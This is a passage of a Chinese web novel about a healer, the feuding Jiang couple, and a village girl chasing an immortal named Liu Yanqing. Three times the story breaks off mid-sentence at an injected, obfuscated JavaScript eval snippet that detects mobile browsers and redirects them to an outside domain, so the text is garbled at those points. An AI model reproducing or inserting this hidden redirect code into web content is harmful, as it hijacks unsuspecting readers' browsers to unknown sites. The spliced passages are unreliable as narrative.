对家活动着拳脚筋骨嗤笑:“饮鸩止渴的蠢货,倒省得我动手。” 江御白又被对方的话激怒,推搡着我还要挣扎起身:“扶我起来……我还能打……” 就在这时。 “打个锤子!丢人现眼,格老子下来!” 在场所有人都愣住了,纷纷把目光投向擂台边谩骂的女人。 俺也一样,惊得下巴都要掉到地上了。 “江、江夫人?!” 为什么江夫人会讲蜀话,而且,那么标准?! 台上的江御白还在死撑。 “不下来!我要证明自己!” 一声大吼,我感觉掌心下的骨头又断了两根。 “大人呐,我求你别说话了!”我急得满头大汗,“一会儿真全身散架,拼都拼接不起了!到时候别说夫人认不出来,就是阎王爷都得拿着画像对照着找!” 比武在我的强制叫停下宣布结束看热闹的人群意犹未尽地散去,江御白挺着身子躺在擂台上,江府的侍女去叫马车,我和江夫人守在他身边。 马车来时,我还在张望看寻个什么担架给江御白抬上车,正琢磨着要不要拆块门板。谁料一旁的江夫人二话不说,撸起袖子露出结实的小臂,一把提起他的手臂就把人从地上拽起来。 “哎哟喂!要死了!” 江御白发出一声杀猪般的惨叫。 我急得直跺脚,“欸!夫人轻点!轻点啊!” 一会儿我拼不起来啊!!别再给我浅薄的医术增加难度了!! 江夫人却充耳不闻,像拎麻袋似的把自家夫君往马车里一塞。江御白疼得直翻白眼,嘴里还嘟囔着:“我……我还能……再战……” 然后,死了。 晕死了。 回到江府,江夫人不出我所料的拒绝了侍女找大夫的请求,嘴上说要痛他几日涨涨教训。 我找了些木棍和绑带,背着江夫人躲在江御白的卧房偷偷给他正骨。 江御白平日对府上的下人很是照顾,晓得我的动机后慌忙跑去街市买了各种我能用得上的药。 “你何时学的医术?” “拜了位师傅,跟着学了段时日。” 我边说边用力一掰,他顿时疼得直抽抽,手指把床单都抓破了。 他似是想动,被我直接按住脑袋,按进枕内。那枕头立刻洇开一片冷汗的痕迹。 “不许动啊,骨头歪了我可不管。” 躺在床榻上的人目光在室内游移,最后定定地看着那盆兰草,久久未曾回过神。 他忽然闷声问:“我是不是太弱了……” 我说:“大人是靠才智吃饭的,不需要蛮力。” “可没有蛮力,都无法保护想要保护的人。” 我想想也对,轻轻点了点头。这时窗外传来脚步声,还以为是江夫人,我们俩顿时屏住呼吸,活像两个做贼的。直到脚步声远去,我们才同时长长地呼出一口气,结果江御白又扯到伤处,疼得龇牙咧嘴。 “痛死他算了,你救他作甚。” “夫人?!” 背后的声音吓得我手一抖,又弄疼了江御白。 本以为她来是制止我,没想到只是默默坐在我身后的椅子上,双手抱胸看着我给江御白包扎。 果然是夫妻,再怎么关系不和,该关心的还是得关心嘛。我偷偷瞄了眼江夫人紧抿的嘴角,发现她正死死盯着江御白青紫的眼睛。 确定所有的木板都已固定完全,我才终于安心地松了口气。江御白整个人被捆得像具僵尸,只露出一双可怜巴巴的眼睛。 江夫人突然开口道:“什么小身板就敢跟江湖人士打,不自量力。” 我见江御白脸色顿时煞白,心都碎了一地,忙不迭宽慰:“没事儿,待日后强身健体咯,东山再起!一决雌雄!别生气啦,待会儿我辛辛苦苦熬的药就白费了。” 主要是心疼我的劳苦用心。 我收拾着药箱,故意提高音量说道:“既然夫人都来了,就去陪陪大人吧。可别又刺激他,毕竟是病人,温柔点。” 江夫人脸色难看,好半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056815|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天没有说话。 我目睹此景,不禁笑出声。 “若是江夫人上台,恐怕还没出手,对方就已经跪地求饶了。” 江夫人沉吟片刻,上下打量着我,随即皱起眉。 “什么意思?我长了张母夜叉的脸?” 我赶忙摆手解释:“不是不是!我不是这个意思!夫人怎么可以擅自歪曲我的话呢……” 江夫人向来伶牙俐齿,步步紧逼地追问:“那你方才的话什么意思?” “我、我、我是夸夫人再世花木兰!这些个男子没一个有出息的,弱不经风,一拳就倒。” “唉哟!我的肋骨……”江御白突然哀嚎起来。 “啊啊啊啊你别动啊!我刚固定好的板子!” 何等混乱的场面,我真的要疯了!!! 江御白终于被痛晕过去,我轻手轻脚地收拾着散落的药瓶和绷带,转眼看见江夫人正盯着夫君缠满绷带的右手发呆。 “夫人,能帮我把拿一样吗?有点抱不住。”我小声问道。 江夫人这才回过神,默不作声地接过药瓶。走出房门时,夕阳正好洒在她挺直的背影上,我鬼使神差地快走两步,拿走她手里的东西。 “夫人不介意吗?外头的人这么说你?” 我终是没忍住,问出了盘旋在心头多时的疑问。坊间那些闲言碎语,说什么江夫人凶悍如虎,江大人惧内如鼠,简直不堪入耳。 她随手折了支廊下的海棠,淡淡道:“管好自己就行,那些都是废话,不用在意。” 晚风拂过,她鬓边的碎发轻轻飘动,那副云淡风轻的模样让我一时看呆了。 “哇,夫人好帅……” 江夫人愣了一下,突然伸手弹了下我的脑门:“少贫嘴。今儿辛苦你了,早点歇息罢。”但转身时,我分明看见她嘴角扬起一抹几不可见的弧度。 她回头望向室内,两人隔着一地残阳脉脉不得语,我识趣地转身离开。本想再提醒句“病人重伤温柔些”,想想恐会多管闲事,生生咽了回去。 江夫人走进屋内端坐床沿,递来绣帕拭江御白额间的汗珠,江御白木讷地不敢动,也没说出那句“不要你管”。 “下次再去逞能,老子绝对不管你,等你死擂台上。” “……” “听见没有!说话!” “听见了……” 江御白哑着嗓子应道,声音轻得几乎听不见。他偷偷抬起眼皮,正对上江夫人泛红的眼眶,顿时僵住了。 江夫人猛地别过脸去,手里的绣帕“啪”地甩在江御白胸口:“老娘真的是……” 有什么从眼眶出掉出,滴在锦被上,晕开深色的痕迹。 江御白脸皱成一团,仍拿起胸口的绣帕,伸长手擦拭她的脸颊。 我站在门外抿唇偷笑,蹑手蹑脚地离开。 走到江府大门口,青石阶上落着几朵落花。忽然一个鬼祟的身影从石柱背后探出脑袋来,吓得我差点踩空台阶。 “敢问姑娘,是医鹿山来的仙者吗?” 来人是个十五六岁的少女,穿着粗布衣裳。 我狐疑地打量她:“姑娘是?” “我叫苌偲,求仙者帮个小忙。” 我心情颇为复杂地又问:“什么小忙?” 虽说默默接受了她所唤的仙者,但除了玉笛,我全身上下可和仙一点不沾边。 眼前的姑娘抬起脸来,明明生得清秀可人,眼神却平淡得像一潭死水,说道:“我爹要死了,帮我救救他。” “……” 这叫,小忙? 103. 烟柳画桥 灵堂白幡无风自动,庄严肃穆的诵经声里,棺椁突然传出抓挠声。女子却按住棺盖轻笑:“爹爹别急,等仙长来……等仙长出现,我就钉最后一根镇魂钉,再等等。” 阴风阵阵,白幡浮动,棺材板震动许久,终于弱下,直至灵堂重归寂静,女子期待的仙人,依旧没有出现。 “仙人失约了……仙人失约……也会受到惩罚……” 说完,她扬起一抹毛骨悚然的笑。咯咯咯的,回荡在荒无人烟的城郊树林中。 我呆滞地盯着身旁讲述得津津有味的姑娘,心里七上八下。 昨日傍晚,这位叫苌偲的姑娘不知从何知道了我,跑到江府门口求我帮忙救爹。 此生我不是神仙,无法做到对脆弱易逝的生命视而不见。于是,一口答应了她。 今日又是大清早,我人还没醒,就被江府侍女告知一位姓苌的姑娘已在门外等候。 “大早上讲鬼故事,苌偲姑娘好兴致啊。” 听出我的揶揄,她突然轻笑出声,说道:“我喜欢编故事,昨晚做的梦,我怕忘了,醒了就立刻来找你,讲述与你听。” “那真是……多谢姑娘挂念。” 苌偲家住京都城外一个偏僻的小村,房屋挨着房屋,农田都在山边。 “我爹先不管,姑娘先随我进屋。” “啊?” 趁我还没反应过来,苌偲推着我进了眼前的偏房。 逼仄的屋中堆满杂物,谷子稻子木箱子乱七八糟地堆在房内。更渗人是一口明晃晃的棺材,就这么摆在靠墙的位置,红纸黑字写着“奠”……我忽地打了个冷颤,头皮发麻。 棺材都准备好了,又叫我来救她爹……莫非是什么不治之症,拉我下水,最后把罪名扣在我头上,说是我失手将她爹治死了…… 我后怕地咽了口气,故作镇静地继续打量眼下身处的环境。 堪比江府杂物间的屋子,好在留了处空地摆了张睡觉的床和一张感觉手一碰便会散架的桌子。 可怕的屋子,感觉晚上陪自己睡的不是老鼠就是鬼。 桌上竟然摆了本书?我好奇地走上去拿起书册,喃喃念出封面的字:“遇仙记?话本吗?” 密密麻麻歪歪扭扭的文字似乎描述了个什么故事,奈何我根本不认识写的什么字,看不懂故事内容。 我将书册往后翻过几页,目光停留在一副特别的画上。满是文字的书突然出现一幅画,而且……我竟词穷到找不到形容的字句。 “这画的什么?” “樵夫的爱情。” “……啊?” 哪里有樵夫?哪里有爱情?这不只有 苌偲睨了我一眼,一把抢走我手里的书,随即嘴角勾起一抹骄矜的笑。 “樵夫每日清晨都见白衣女子立于云端,后来才知是渡劫失败的散仙。一个再不敢上山,一个再不肯离去,百年间不过遥遥相望。” 苌偲说话时眸光忽明忽暗,却心驰神往。她重新将目光落回书册时,似深情的女子轻柔地抚摸过画上的女子。 我用手撑住下颌,问道:“此故事,是姑娘自己编的,还是本就存在的?” 有了早上的经历,加上苌偲说自己喜欢编故事,方才的事十有八九也是她编的。 “当然是——我编的。”她瘪瘪嘴,“不过这故事有原型的,是我参考认识的人的编的。” 我挑眉笑道:“白衣女子说的是你自己吧?那这樵夫是?” “错。我是这樵夫,白衣女子才是我跟你提起的白衣仙人。” “白衣仙人???” 像是担心我不信她的话,苌偲激动地起身,一脚踩在凳子上。 “曾来村子义诊的仙人。为人和善,气质出尘。身姿挺拔,眉如远山含黛……我从未见过神仙,以为天上住的不是老头就是老妪,没想到,竟有这般美男……” 苌偲的寥寥几字宛若水滴,溅起了我心中的涟漪。为何她所述之人,与我日思夜想之人如此相似? 我再次把目光投向手中的话本,思绪飘远。 苌偲拉着我在床沿坐下,说道:“难得偶遇知己,见你想听,我便讲给你听罢。我和仙人的故事。” 苌偲与仙人相遇到一场梦中。 仙人负手立于崖边,看脚下云蒸霞蔚,如泼天锦绣。听见身后轻响,四目相对,仙人似是知晓苌偲会来并未惊讶,望着景色说道:“世间绚烂终有尽,不若瓦檐下听雨一生。” 苌偲不解,问道:“仙人说的,可是自己的心上人?” 仙人颔首。却又看到苌偲似乎生起落寞,转过身靠近,对她扬起了笑容。 “你便是我的心上人。”仙人轻叹了口气,“可惜,仙凡有别,我们无法在一起。且当这份念想,从未有过……” 苌偲忽地抓住仙人的手。 “不!不可!我想永远和你在一起,以什么方式我都愿意!” 苌偲能清晰地望见仙人的瞳孔剧烈收缩了下,忍不住环腰将仙人抱得更近一分。修长的手指落在苌偲的后背,轻柔地安抚。 “待你相思成疾,便来神山寻我罢。” 说完,一团云雾在仙人脚边升腾。 苌偲久久地凝望着离去的仙人,直到梦醒,奋不顾身冲出屋外,四下寻找着仙人的背影。 山巅云雾缭绕处,传说有仙人弈棋,世人皆唤“神山”。苌偲日日望着远处峰顶出神,心驰神往,总想着若能求得一粒金丹,或可解世间疾苦。无论是爹爹的恶疾,还是自己的相思疾。 我似懂非懂地点头问道:“所以你就丢下家中一切事务,不管不顾,只身去了医鹿山?” 苌偲点头,还沉浸在方才的故事中。 “对啊。再说,那老头又不喜欢我,眼里只有考取功名的大哥,我和他是生是死,都不关对方的事。” 老头……应该指的她生命垂危的爹吧?想不到她也有哥哥。 “那你现在回来做什么?” “给他收尸啊。他那靠不住的儿子是不会抽空给他挖个坑埋了的,到来头,还不是只有靠我。” “……” 苌偲垂眸摆弄药材,把她爹素日头疼脑热的日子、用药分量如数家珍道来。我暗自感叹这位姑娘的口是心非,问道:“医鹿山的求医之旅如何?” 苌偲叹了口气答道:“一败涂地。仙人没见着,还被人半路截了道,干粮钱财一洗而空。” 我帮着她整理,顺道辨认了下这些药材治什么病。结果便是毫无结果。各种药材都有,丝毫看不出她爹到底得了什么病。 “所以你就回来了?” “嗯。”她自嘲似的冷笑了声,“西蜀都没还到呢,白跑几百里地。” 我深陷沉思:要帮她吗?可若答应此事,不就意味着要再见柳砚清吗?他会答应我吗?我会若无其事地求他帮忙吗? 显然都不会。 “我能先看看大伯的病情吗?” “算了吧,阴气过重,我怕熏着姑娘。” “……” 说的什么话?不是她要我帮忙的?又不要我了? 苌偲勾起唇角,似笑非笑道:“找你就是冲着你从医鹿山来,定有办法找来仙人。” “骗我,还想我帮你?苌偲姑娘当我是什么好使唤的笨蛋吗?” 苌偲一惊,宛若偷吃膳房的猫被摁住,讪讪地抬起头来,语气都变得和顺。 “抱歉嘛~我这不是怕你不答应,想了个阴招嘛~ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056816|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘别生气啊~” 我不管不顾她又夹着嗓子说些什么,快步朝院外走去,到了门口又被她抓住。 “我错了我错了!姑娘别走!去看,现在就看,我带你去看!” 只推开门在门口望了眼,合上的门便再一次遮住了我的视线。鼻腔倒还残留着屋内的气味,胃里一阵翻滚,险些吐出来。 像是死人的味道,又比那股恶臭淡了些。床踏上的大伯还有呼吸,只是微弱到若不是看得认真,还真看不出来。 我悬着的心并未放下,只能小心地询问苌偲。 “大伯这样子多久了?” “好几个月了,寻遍京都的大夫,没一个能接手的。” 柳砚清的面容在我脑海里愈发清晰起来。 难道真的只有求助于他了吗? 救人一命和自尊心作祟,二选一……好难抉择。 “我帮你找仙人,但是!作为交换,那本《遇仙记》,给我。” “啊?姑娘若是喜欢,我可以为你量身定制一本新的故事。” “不,我就要那本。” “行。” “你要是敢再骗我——” “放心吧!我苌偲向来言而有信。” 向来?从认识到现在不足一天,有哪句话是真的?! 我走出屋外,确认苌偲没跟出来或者趴窗户偷看后,掏出怀中的玉笛。 “我……我该怎么找到他?” 玉笛的声音注入识海:“心有灵犀。” “玉石吗?” 我低头看了眼空空如也的手腕,那块玉石早不知被我丢哪儿去了。如今想来,当时气头上,竟连最后一点念想都没留住。 “没有别的办法了吗?” 叹息着,我将玉笛贴近心口,在心中默念:“如果你能听到的话……你一定听得见,对吧?砚清。” 这念头刚起,胸口便泛起一阵细密的刺痛。 垂下手,望着空无一人的院落,我不禁冷笑。清风舒朗,眼眶却酸胀得厉害。我背过身去揉了揉眼睛,再回头时—— 蓦地,一道模糊的玉白闯入视野。远处,洒落的暖阳中出现一道颀长的身影。 我一抬头,刚好和与那人四目相对。清风起,卷起他的墨发。落在彼此身上的光,连同他被光晕勾勒出的棱角都变得柔软。 柳砚清皱了皱眉头,快步向我走来。看着他越靠越近,我心中燃起的不安和念想愈发热烈。 “你……” 我正要躲闪他伸过来的手,却被他倏地钳住手臂。那力道不轻不重,却让我动弹不得。他指尖的温度透过衣袖传来,冰凉却烫得我耳根发麻。 “不动,羽毛。” 我撇了撇嘴,垂下眼,失望之余尽是恼怒。 许久不见,就这般捉弄我?难道他就一点不想我吗?! 好吧,也就几日。 我气着抢过他手里的羽毛摔向地面。没有重量的轻羽因过于用力,竟反向浮得更高。 更生气了。 头顶响起柳砚清闷闷的笑声,我瞪回去,却见他眼尾笑纹舒展,眸中映着天光云影,更映着气鼓鼓的我。见他更不加掩饰的真挚笑意,我牙痒痒的,直接一拳锤在他胸膛上。 一声闷响,柳砚清纹丝不动。他忽然握住我的手,手指合拢,将我的拳头包裹在不存在的温暖中。 “你——” “柳仙人!” 我猛地推开柳砚清,退后到几步之外。 身后冲出屋子的苌偲心花怒放,如风一般越我冲上前,直接拦腰将柳砚清环抱住,娇嗔地说道:“柳仙人,你终于来见我了!” 内心:???? 我:“你们……认识?” 104. 杨花空舞 我看着眼前抱着柳砚清的苌偲,心底不断如热火滚锅泛起荡漾的泡泡,再任由其沸腾下去,转眼就要爆炸的程度。 柳砚清似乎对苌偲的出现和举动有些意外,尽管极力挣扎,身子反而被眼下素不相识的小姑娘抱得更紧。 此时,院外路过的大娘挎着竹篮挥手喊道:“苌偲啊,来帮大娘搬点儿东西。” “来了!” 苌偲仰起头,黏黏糊糊地说道:“仙人暂且歇息片刻,等我回来啊!” 说罢还不忘用指尖戳了戳柳砚清的胸口,这才恋恋不舍地松开手。 看着苌偲跑远,我忍不住冷笑出声,好整以暇地抱起双臂,调侃道:“仙人还真是流芳百世,名垂千史啊。” 且不论苌偲怎么认得柳砚清的,毕竟柳砚清的样子全然一副不认识此人的茫然状。 久别重逢的仙人泰然自若,悄悄把脸别到一边去不敢看我。 算他有点羞耻心。 “仙子倒是一如既往的助人为乐。” “啊?!” 刚在心底夸他,眨眼就得寸进尺拿我打趣?! 我一把揪住他腰侧的肉,隔着绸缎都能感受到紧实的肌理,手指愈发用力,双眼恶狠狠地瞪着柳砚清。 柳砚清也只是笑着,柔声道:“可以再用力些,直到你消气为止。” 他这副任君采撷的模样反倒让我泄了气。 “……我才不是那么小气的人。” 我红着眼红着脸不情愿地嘟囔着,指尖还残留着他体温的余温,慢慢松开了手,从他跟前退后两步。 湖光山色,郁郁葱葱,清风舒朗,无人言语。只有我的心跳声震耳欲聋,在胸腔里咚咚作响,怕是连站在三步开外的他都能听得一清二楚。 好尴尬…… 三日前。 又是个梦见柳砚清的夜,我托着眼底浓重的青黑去后院寻江夫人,脚步虚浮得像踩在棉花上 她不知道在绣什么,成天绣,也没见绣出个什么名堂。 “你既已决心与他断缘,又何必拖泥带水,日夜念着想着?徒惹人笑话!痴情可不是好事,早日弃了吧。”她说话时头也不抬,针尖狠狠戳进绸缎,仿佛每一针都戳在我心头上。 我忽地正襟危坐,手掌拍在大腿上:“你说得对!要断,就断干净。分明他骗我在先,我何苦日夜念叨?!” “这就对了嘛。来,喝茶。” 她终于从绣绷里抬起头,贴心地为了倒了杯茶。 今日的茶壶与往日稍有不同,看上,更像另一种容器。 舌尖舔过唇瓣,才发现干裂得厉害,我端起杯盏脑袋空空一饮而尽。辛辣的刺激感惊得我差点丢弃手中的茶盏,喉头火烧火燎,慌忙四下张望找水喝。 江夫人笑着递过来一杯水,我吐着舌头迟迟不敢接下,怕她又骗我。 “这次真是水,喝吧。” 我心一横信了她的话,不出意外的意外,我又被迫喝下杯酒。甜香里裹着刀锋似的烈性,呛得我眼眶发热。 “江夫人!!” 她笑得不亦乐乎,我慌慌忙忙地冲向膳房,舀了勺冰凉的水才终于缓过神来。葫芦勺在缸沿撞出当啷一声响,惊醒了趴在灶台打盹的厨娘。 “怎么了怎么了?!魏姑娘?您没事吧?” 我冲厨娘摆摆手,说不出“没关系”三个字。 大早上就被灌了两杯酒,我这一天估计是没法清醒地度过了。 我晕乎乎地,一步一踉跄地走回后院,江夫人抬眸看了我一眼,浅笑着继续低头刺绣。 “头好晕啊……” 我恍恍惚惚地在她身边坐下,埋下头抵在冰凉的石桌上,彻骨的凉意瞬间清醒意识。 江夫人解释:“一醉解千愁。” 我反驳:“借酒消愁愁更愁。” 舌头打结,差点咬到自己。大早上的受老大罪了…… 她又说:“对于你,酒可消千愁。” 我歪歪头,问:“为何?” 她说:“因为你太过清醒,活得太累。” 我:“……” 一语道破。 江夫人虽出身商贾,却在各路宴席上应对得体,落落大方,连江御白的母亲,京都出了名最挑剔的老夫人都暗自点头,执意要江御白迎娶她过门。 “对了,总是唤夫人夫人,还不知夫人姓名呢?”我把玩着茶盏,状若无意地问道。 “既做他人妇,又被冠上夫姓,曾经姓甚名谁,还有意义吗?” “当然有啦。唤夫人总觉得有隔阂,如今我与夫人,谈不上亲密,挚友——总沾点边吧?夫人待我不薄,我想知道夫人的名字。” 她忽然转头看我,眸光闪过一丝锐利:“魏风,也不是你的真名吧?” 我下意识摸了摸鼻子,“嗯……原名南风。” “何地何氏?” “地方……靠海那边吧,记不大清了。爹爹姓方,娘亲姓桑。” 娘亲名号桑竹仙子,应该是姓桑吧,我猜的。唉,失过忆就是好,能作为一切敷衍了事的借口。 “方南风?普普通通的名字。” “轮到夫人了。” “洛城韩氏,名婻。” “洛城?!韩氏?!”我猛地站起身,茶盏被打翻,“夫人难不成……还有个妹妹?” 她她眸光骤然一凛,上下打量我,“怎么猜到的?” 我张大嘴巴,心想世上真有那么巧的事?韩婻与韩风,莫非真是亲姐妹?! 可是,我分明记得韩风与夏逸飞生长在一处偏远的小村落,又进宫做了侍女,跟商贾之女毫不相干。 江夫人抻了抻手边的丝线,说道:“妹妹很小的时候掉进河里不见了。” “不见了?!” 定是酒劲儿的错,我控制不住自己的声音,骤然拔高好几个调,连自己听着都刺耳。也就江夫人能面不改色,一旁的侍女面部五官都吓得皱出个鬼脸。 江夫人的眸光一下暗淡下去,声音也跟着低沉几分,“那年我八岁,妹妹四岁,一起去郊外的原野放风筝。谁曾想妹妹一个方便的功夫,转头就不见了。爹爹寻遍山野,又找遍了洛城,想尽办法都寻不到她。” 她仰头叹了一息,继续说道:“妹妹的消失一直是我的心结。总担心她过得不好,又怕她想家但把回家的路忘了。后来爹爹经商,我们一家人搬离洛城到了京都,找妹妹的事……也就此搁置,无人再提。” 庭院里树梢上鸟鸣清脆,我盯着江夫人蒙上阴翳的侧脸,内心的好奇蠢蠢欲动。 “假如,我是说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056817|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假如。长大后的妹妹站在夫人面前,夫人认得出吗?” 江夫人收起落寞,唇角微扬,带着几分倨傲,理直气壮道:“当然,那可是我韩婻的妹妹。” 有她这句话我就放心啦。我暗自盘算着,热心助人的南风一定想尽办法把韩风从宫里叫出来,给江夫人瞧瞧!凡人做不成的事,交给神仙有何难? 见酒壶里的酒还剩小半,酒劲儿稍作缓和,我竟有点怀念那股香气,自己倒了一小杯慢慢品味。酒液入喉,酸甜里带着微微的辛辣,倒是醒神。 江夫人嗤笑一声,开口道:“我再问你,若是那男人又回来,你是温柔心泛滥呢,还是上去就给他一拳?” “当然是——” 话头戛然而止,我沉思片刻后说道:“当然是揍他一顿。” 江夫人讪笑道:“那时候可别哭哭啼啼的,两个人抱在一起又说些不害臊情话。” “绝不可能!我没原谅他呢,不可能让他碰我一根头发!” 心尖上的冰层裂开细纹,融化的雪水漫过五脏六腑。 于心不忍呐。说到底,我这满脑子情爱的人,哪舍得恨他到底,老死不相往来? 气氛尴尬,连风都凝固在彼此交错的呼吸间。焦灼之际,我绞尽脑汁,脱口而出道:“才不是因为原谅你才找你的,别自作多情啊。” 话音刚落,我的手腕蓦地被温热的掌心扣住,熟悉的体温顿时将我全身包裹,像春雪消融时第一缕裹挟花香些许凉意的风。 与梦中的触感相似却又不同。这双手没有温度,梦里却触碰到每一处,无论内外,皆是滚烫。 当初的颜卿如何做到那般温暖的? “抱歉,虽然你可能不想听,但是……我真的很想念你。” 他嗓音低哑,尾音发颤,仿佛这句话在喉间辗转了千百遍。 我抿紧发抖的唇,愤怒的拳头毫不客气地砸在柳砚清的后背。 “我一定也不想你!我就没有哪个夜里辗转反侧睡不着,脑子里一直想着你……” 越说越哽咽,最后几个字糊成水汽氤氲的呜咽。 柳砚清闻言轻笑出声,紧了紧手臂,在我发顶蹭了蹭。 “嗯。我也一样,一点都不想念你。没有哪个夜里想奋不顾身去寻你,触碰你,抱紧你。” 久积弥厚的思念,终于在这一刻得到缓解。像干渴的旅人捧住清泉,像冻僵的蝴蝶遇见初阳。不出意外如江夫人所言,我果然不争气地哭了,还说了没羞没臊的话。 脸颊靠在他怀里蹭了蹭,把所有涌出眼眶的泪和鼻子流出的水一并擦在柳砚清的衣裳上。仙人也不介意,只在我头顶宠溺地轻笑着。 “我讨厌你……本来说好见面给你一拳,给你揍飞出去的……都怪你!” “嗯。” 待我哭够了起身后,袖中彩蝶飞出,翅尖洒落星屑般的磷粉,拖着流萤将污秽清理干净。 不远处匆忙赶回来的苌偲看到眼前一幕,怀里抱着的冬瓜咚地砸在脚背上也浑然不觉,傻呆呆地愣在原地。 然后,下一秒…… 一根细小的萝卜砸在我身上,萝卜缨子上还沾着新鲜的泥巴,江夫人为我做的衣裳瞬间沾上印记,后面跟着一句没好气的怒骂: “敢抢我男人,我跟你没完!!!” 105. 神魂迷乱 抢男人?谁?我?这大概是我重生以来听到过最可笑的话了。 苌偲一个闪身贴上柳砚清。 “仙人你看她~凶巴巴的。她可有伤着你?” “姑娘……自重……”柳砚清连连后退。 “仙人别躲啊,让我看看!” 苌偲得寸进尺,手指就要往仙人衣襟上探。 我咬着牙冷哼一声,刻意模仿着江夫人平日里怼天怼地的语气,双手叉腰,下巴微扬,打断了苌偲和柳砚清的交谈。 “自作多情!人家仙人压根不记得你,凭什么一口咬定是你男人!” 难得苌偲被我哽得说不出话来,我立马扭转气势。可转头又想到,我还没原谅柳砚清呢,眼下宣布主权不就等同于我原谅他了嘛!不行。于是我长吁一口气,强压下怒火,把她从柳砚清身上拉开,理了理苌偲的鬓发,轻声细语道:“别忘了还有更重要的事做。” 谁料这姑娘根本不领情,一把拍开我的手,直接推开我大步上前挽住柳砚清的胳膊。 “道歉!” “啊?!” “你碰了我男人,道歉!” 我简直不敢相信自己的耳朵,气到差点原地升天。 此时事件的中心,柳仙人,轻轻叹了口气,默默走到我身边。似是感觉到他要做什么,我立马瞪大眼睛瞪着他,用眼神凌迟他,无语制止他接下来要说的话。 仙人困惑地发愣,不解我为何意。 我面部几乎要抽搐地挤眉弄眼,警告他安分点。他摇头轻笑,无奈又宠溺地用口型说了句“听你的”,应了我的意思。 苌偲因为柳砚清挣脱了她的热情,反而朝我走来,整个人如遭雷击般僵在原地,好歹没忘了呼吸。我轻咳两声,看向大失所望的苌偲。 “那啥,仙人百般忙碌,先去屋内给大伯看病吧。” “嗯。” 柳砚清先行一步,我走出两步发现苌偲还愣着,不由分说抓着她的手臂强行带走。 “仙人他……好无情。”苌偲的声音带着哭腔,方才的嚣张气焰荡然无存。 我:“……” 昏暗潮湿的屋内,浑浊的空气里飘散着药石与腐朽交织的气息。逼仄压抑的屋内,蓬头垢面的老人安详地躺在床踏上,枯瘦如柴的手腕从破旧的被褥中滑出,青紫色的血管在苍白的皮肤下清晰可见。 只一眼,柳砚清的眉头立刻轻蹙。如玉的面容在昏暗的光线下显得格外凝重,抬头环顾四周,目光扫过墙角堆积的药渣和窗棂上悬挂的蛛网,眉头只蹙得更紧。 我见柳砚清神色不好,悄悄挪近半步,悄声询问是否需要将苌偲支出去。声音轻得只有我们二人能听见。 他摇头,转头对苌偲说道:“家父此番状态大概多久?” “好几个月。从我出发去医鹿山再折返……有五个月了。” 柳砚清眉眼低垂,睫毛清晰可见,认真地替病人诊断。修长的手指搭上病人的脉搏,目光不时停留在各处。我不禁看他入神,心里涌上一股失落。 惹得苌偲突然横插进来,拐着屁股直接将我撞飞。我踉跄着后退了半步,懵然地望向她。 “不许盯着我男人看!”她压低声音朝我怒吼。 我:“……” “病人身子需要清理。” 清冷的声音落进耳中,似是某种暗示。我读懂了柳砚清的意思,找了借口将苌偲支出屋外去打一桶干净的井水来。 待苌偲不情不愿地离开,我索性在柳砚清对面的椅子上坐下。椅子年久失修,随着我的动作发出不堪重负的呻吟。 “人是活的,但没有灵魂。我猜测是灵魂不小心溜出体外,被路过的阴差发现带去了地府。” “还能这样?那只要去地府,找阎王把灵魂要回不就好了?” “只有这个办法。” “那不简单,直接找黑无常。” “黑无常无权放‘人’,无论如何都得去问阎王。只是……” “只是什么?”我追问道。 他忽然沉默,“没什么,我去就行,你在这里等我。” 见他起身,我三步并作两步抢先走到他跟前拦住。 “不行!我也要去。那个被地府带走的孩子……我要去找他。” “我一并去,你留下。” 我心生狐疑,端详柳砚清的神色。 “柳、砚、清!”我眯起眼睛,一字一顿道,“你是不是有什么事情瞒着我?” 屋外突然传来“哐当”一声响,似是木桶落地的声音。我们同时转头看向门口,但谁都没有动。 我蹙紧眉头又伸手掐了他腰间紧实的肉一把,咬紧牙道:“你带不带我都得去!” 撂下话,我大步出门去寻苌偲。 水桶打翻,院子湿了一滩,苌偲跌坐在水桶边,裙摆被打湿。那双天生笑意的眼睛此刻空洞无神地盯着虚无处。 我猜测她是听见了我和柳砚清的话,但究竟听去了多少,又理解了几分,就不得而知了。 “告诉我不是真的……”苌偲气若游丝地喃喃道。 我走到她身边,架着她的胳膊把她从地上抬起,扶她坐在一边的石磨上。 “不用担心,答应你的,我会做到的。” 她含着泪望向我,抽噎着问:“你愿意把仙人让给我?尽管你们已经有孩子了?” 我:“……” 我在说救她爹的事,她竟满脑子都是柳砚清????我深吸一口气,感觉脑子要炸了。 正待开口,身后传来熟悉的脚步声。不用回头也知道,是那个惹祸的仙人来了。 